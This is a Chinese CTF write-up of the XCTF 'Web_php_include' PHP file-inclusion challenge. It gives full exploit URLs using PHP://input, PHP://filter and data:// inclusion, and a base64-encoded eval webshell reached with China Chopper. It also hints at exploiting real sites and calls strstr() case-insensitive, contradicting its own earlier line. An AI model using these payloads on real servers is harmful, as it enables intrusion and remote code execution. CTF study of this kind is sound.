由题目XCTF Web_php_include 复习包含漏洞

题目url:http://220.249.52.133:47390

代码分析

题目一来就是一段代码,分析一下

由题目XCTF Web_php_include 复习包含漏洞_第1张图片

show_source() 函数对文件进行语法高亮显示

hello用get方式接收参数直接输出

page参数也是通过get方式接收,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,但是区分大小写,如果不区分大小写使用stristr()函数。这里的意思是如果page参数中包含"php://",就替换为空。

通过过滤后包含page参数传来的文件。

 

方法1 php://input

由分析,这个网页主要是过滤了php伪协议的使用,那肯定是怕我们使用这个功能,他怕什么我们自然要来做什么。

我们知道strstr()函数不区分大小写,我们变可以使用大写方式绕过。

php://input 可以将数据通过post的方式传给当前页面,相当于远程包含漏洞,前提是php配置文件中需同时开启 allow_url_fopen 和 allow_url_include。这里并不知道是否开启这两个功能,我们只管测试就明白了。

http://220.249.52.133:47390/?page=PHP://input

由题目XCTF Web_php_include 复习包含漏洞_第2张图片

作为测试我们试一下phpinfo就可以了,如果页面出现phpinfo信息那就证明存在这个漏洞。

由题目XCTF Web_php_include 复习包含漏洞_第3张图片

确实弹出了phpinfo消息,通过ctrl+F搜索,确实打开了这两个功能。

由题目XCTF Web_php_include 复习包含漏洞_第4张图片

我们post一些命令过去,找以下flag文件

由题目XCTF Web_php_include 复习包含漏洞_第5张图片

发现fl4gisisish3r3.php文件,估计flag就在里面了。

发现页面并没有出现消息,我不知道为什么。

我的做法是利用php://filter来读出这个文件中的内容。

http://220.249.52.133:47390/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

由题目XCTF Web_php_include 复习包含漏洞_第6张图片

这种方式会把数据通过base64加密后传输出来,我们解码即可。这里解码使用站长工具。

由题目XCTF Web_php_include 复习包含漏洞_第7张图片

然后把flag提交成功通过。

其他方式

可以查看网页元素,flag已经用注释方式出现。后面了解才知道浏览器会注释掉出现的php代码。

由题目XCTF Web_php_include 复习包含漏洞_第8张图片

方法2 data://

http://220.249.52.133:47390/?page=data://text/plain,

由题目XCTF Web_php_include 复习包含漏洞_第9张图片

这次学聪明一点,我们也使用show_source()

http://220.249.52.133:47390/?page=data://text/plain,

由题目XCTF Web_php_include 复习包含漏洞_第10张图片

这样子就很让人满意了。

方法3 获取shell

在真实环境中出现这么大的漏洞,你确定只看看?

可以使用data协议来包含我们的一句话木马,这里我测试了下,应该要通过base64加密才能通过了。

一句话木马:

base64加密:Jmx0Oz9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Jmd0Ow==

构造链接:http://220.249.52.133:47390/?page=data://text/plain/;base64,PD9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Pg==

然后使用菜刀连接

由题目XCTF Web_php_include 复习包含漏洞_第11张图片由题目XCTF Web_php_include 复习包含漏洞_第12张图片

可以在菜刀中获取flag

由题目XCTF Web_php_include 复习包含漏洞_第13张图片

 

 

 

 

 

你可能感兴趣的:(文件上传漏洞)